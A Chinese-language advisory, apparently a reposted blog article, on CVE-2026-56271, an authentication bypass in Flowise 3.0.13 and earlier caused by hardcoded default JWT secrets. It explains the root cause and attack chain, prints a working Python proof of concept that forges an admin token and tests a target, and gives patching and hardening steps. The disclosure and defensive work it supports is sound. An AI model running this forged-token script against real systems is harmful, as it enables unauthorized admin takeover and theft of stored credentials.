文章总结: Flowise3.0.13及更早版本存在高危认证绕过漏洞(CVE-2026-56271),因企业版认证中间件使用硬编码默认JWT密钥且环境变量未配置时静默回退,攻击者可伪造管理员令牌获取平台最高权限。官方已在3.1.0版本修复,建议立即升级或配置自定义环境变量加固,并轮换敏感凭据。 综合评分: 91 文章分类: 漏洞预警,漏洞分析,漏洞POC,解决方案
【高危AI漏洞预警】CVE-2026-56271 Flowise硬编码JWT密钥认证绕过漏洞
jufeng jufeng
飓风网络安全
2026年7月13日 16:51 北京
在小说阅读器读本章
去阅读
一、漏洞描述:
Flоԝiѕе在 3.1.0 之前的版本(受影响版本为 3.0.13及更早版本)在企业级护照认证中间件(расkаɡеѕ/ѕеrvеr/ѕrс/еntеrрriѕе/middlеԝаrе/раѕѕроrt/indех.tѕ)中使用弱硬编码默认JWT密钥(’аuth_tоkеn’、’rеfrеѕh_tоkеn’)以及默认受众和发行者值(’AUDIENCE’、’ISSUER’),当对应的环境变量(JWT_AUTH_TOKEN_SECRET、JWT_REFRESH_TOKEN_SECRET、JWT_AUDIENCE、JWT_ISSUER)未设置时应用程序会静默回退到这些公开已知的默认值,允许攻击者伪造有效的JWT并冒充任何用户包括管理员从而导致身份验证绕过
二、漏洞深度技术分析
2.1 组件背景
Flowise 是当前应用最广泛的开源低代码 AI 工作流构建平台,支持可视化搭建 LLM 应用、Agent、RAG 知识库系统,大量企业用于内部 AI 服务搭建与业务系统集成。其企业版认证中间件(passport模块)负责全平台的身份鉴权,基于 JWT(JSON Web Token)实现用户会话校验,是平台权限体系的核心组件。
2.2 漏洞根因
漏洞的核心成因是认证中间件采用了硬编码默认 JWT 密钥 + 静默回退的不安全设计:
漏洞代码位于 packages/server/src/enterprise/middleware/passport/index.ts 中,开发者在代码内写入了固定的默认值:
访问令牌密钥:auth_token
刷新令牌密钥:refresh_token
JWT 受众(audience):AUDIENCE
JWT 签发者(issuer):ISSUER
应用启动时,会优先读取 JWT_AUTH_TOKEN_SECRET、JWT_REFRESH_TOKEN_SECRET 等环境变量;若环境变量未配置,程序不会报错或阻断启动,而是静默回退到上述硬编码的公开默认值。
由于默认密钥随开源代码完全公开,任何攻击者都可以使用该密钥生成符合校验规则的 JWT 令牌,直接通过平台的身份验证,无需爆破、无需遍历账号。
2.3 完整利用链与危害
该漏洞攻击路径极短,无复杂利用条件,完整攻击流程如下:
信息探测:攻击者访问目标 Flowise 服务的 Web 界面或 API 接口,确认服务存活
令牌伪造:使用已知的默认密钥,构造包含管理员身份、超管权限的 JWT Payload,生成合法令牌
认证绕过:将伪造的令牌放入 HTTP 请求的Authorization头中,访问平台管理员接口
权限接管:成功获得超级管理员权限后,攻击者可执行所有高危操作:
查看、修改、删除所有用户与工作流配置
窃取平台配置的所有大模型 API 密钥、数据库凭据、知识库敏感数据
部署恶意工作流,结合工具调用能力实现服务器端代码执行
篡改平台配置,创建后门账号持久化控制
三、影响范围与风险评估
3.1 受影响版本
官方正式版:Flowise 3.0.13 及所有更早版本(3.1.0 版本已修复)
部署形态:源码部署、Docker 部署、一键脚本部署的所有默认配置实例均受影响
触发条件:未显式配置JWT_AUTH_TOKEN_SECRET、JWT_REFRESH_TOKEN_SECRET、JWT_AUDIENCE、JWT_ISSUER四个环境变量的部署环境
3.2 风险等级评估
该漏洞综合风险极高,核心原因包括:
攻击门槛为 0:无需任何前置权限、无需用户交互,默认配置即可被利用
影响面广:Flowise 在企业内部 AI、创业团队中部署量极大,多数用户采用默认配置启动
危害程度高:直接获取平台最高权限,结合 Flowise 的工具调用、代码执行能力可进一步渗透内网服务器
检测难度低:攻击者可通过简单的 HTTP 请求快速批量探测公网暴露的脆弱实例
四、漏洞验证 POC(合规授权测试专用)
合规声明
以下代码仅用于已获得书面授权的安全测试、漏洞验证与自检场景,严禁用于任何未授权的网络访问、攻击行为。使用者需严格遵守《网络安全法》《刑法》等相关法律法规,自行承担所有法律责任。
验证型 POC 脚本
该脚本用于验证目标 Flowise 实例是否存在漏洞,逻辑为使用默认密钥伪造管理员 JWT,调用用户信息接口判断是否成功绕过认证:
import jwt
import requests
import argparse
from datetime import datetime, timedelta
def generate_admin_jwt(default_secret=”auth_token”):
# 构造管理员身份的JWT载荷,匹配Flowise校验字段
payload = {
“userId”: “default-admin-id”,
“username”: “admin”,
“role”: “ADMIN”,
“iss”: “ISSUER”,
“aud”: “AUDIENCE”,
“iat”: datetime.utcnow(),
“exp”: datetime.utcnow() + timedelta(hours=24)
}
# 使用默认硬编码密钥生成HS256算法的JWT
token = jwt.encode(payload, default_secret, algorithm=”HS256″)
return token
def verify_vulnerability(target_url):
if not target_url.startswith(“http”):
target_url = f”http://{target_url}”
target_url = target_url.rstrip(“/”)
admin_token = generate_admin_jwt()
headers = {
“Authorization”: f”Bearer {admin_token}”,
“User-Agent”: “Mozilla/5.0 Vulnerability Check”
}
try:
# 调用当前用户信息接口,验证令牌有效性
resp = requests.get(
f”{target_url}/api/v1/users/me”,
headers=headers,
timeout=10,
verify=False
)
if resp.status_code == 200 and “role” in resp.text and “ADMIN” in resp.text:
print(f”[+] 目标存在漏洞!成功伪造管理员身份绕过认证”)
print(f”[+] 返回的管理员信息: {resp.text[:200]}”)
return True
elif resp.status_code == 401:
print(“[-] 目标已加固,默认密钥无效,漏洞不存在”)
return False
else:
print(f”[*] 访问异常,状态码: {resp.status_code},响应: {resp.text[:100]}”)
return None
except Exception as e:
print(f”[-] 连接失败: {str(e)}”)
return None
if __name__ == “__main__”:
parser = argparse.ArgumentParser(description=”CVE-2026-56271 漏洞验证工具(仅授权测试使用)”)
parser.add_argument(“target”, help=”目标Flowise地址,例如 http://127.0.0.1:3000″)
args = parser.parse_args()
print(“CVE-2026-56271 Flowise JWT默认密钥漏洞验证工具”)
print(“警告:仅可在已获得授权的环境中使用,禁止非法测试\n”)
verify_vulnerability(args.target)
POC 使用说明
运行前需安装依赖:pip install pyjwt requests
执行命令:python cve_2026_56271_poc.py <目标Flowise服务地址>
若返回 “成功伪造管理员身份绕过认证”,说明目标使用默认配置,存在该漏洞
仅可用于自有资产或授权环境的自检,禁止对公网未授权资产扫描
五、修复方案与缓解措施
5.1 官方补丁修复(首选方案)
Flowise 官方已在 3.1.0 版本中修复该漏洞,修复逻辑为移除硬编码默认值,环境变量缺失时直接阻断认证模块启动,强制用户配置自定义密钥。
所有受影响实例建议立即升级至 Flowise 3.1.0 及以上稳定版本
Docker 部署可直接拉取最新镜像:docker pull flowiseai/flowise:latest
源码部署可通过 Git 拉取最新主分支代码重新构建部署
5.2 临时加固措施(无法立即升级时使用)
若暂时无法完成版本升级,可通过手动配置环境变量彻底阻断漏洞利用,操作如下:
在部署环境的变量配置中新增以下 4 个参数,值为高强度随机字符串(建议 32 位以上,包含大小写、数字、特殊字符):
env
JWT_AUTH_TOKEN_SECRET=你的自定义高强度访问令牌密钥
JWT_REFRESH_TOKEN_SECRET=你的自定义高强度刷新令牌密钥
JWT_AUDIENCE=你的自定义受众标识
JWT_ISSUER=你的自定义签发者标识
重启 Flowise 服务使配置生效
重启后使用上述 POC 脚本验证,确认返回 401 则加固生效
5.3 边界防护补充
对公网暴露的 Flowise 服务,增加反向代理访问控制,仅允许可信 IP 访问管理后台与 API 接口
在 WAF 中添加规则,拦截携带异常 JWT 头、非业务签发的访问请求
对平台内已配置的大模型 API 密钥、数据库凭据进行轮换,避免已泄露的凭据造成次生风险
六、应急处置优先级建议
最高优先级:公网开放、默认配置部署的 Flowise 生产实例,立即执行环境变量加固或版本升级,同时排查是否存在异常访问与后门账号
高优先级:企业内部部署、包含敏感业务数据与 API 密钥的 Flowise 实例,72 小时内完成修复与凭据轮换
中优先级:个人测试、开发环境的 Flowise 实例,在下次迭代更新时同步修复
修复完成后,建议全量审计平台的操作日志,确认漏洞披露后是否存在未授权访问行为
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:飓风网络安全 jufeng jufeng《【高危AI漏洞预警】CVE-2026-56271 Flowise硬编码JWT密钥认证绕过漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论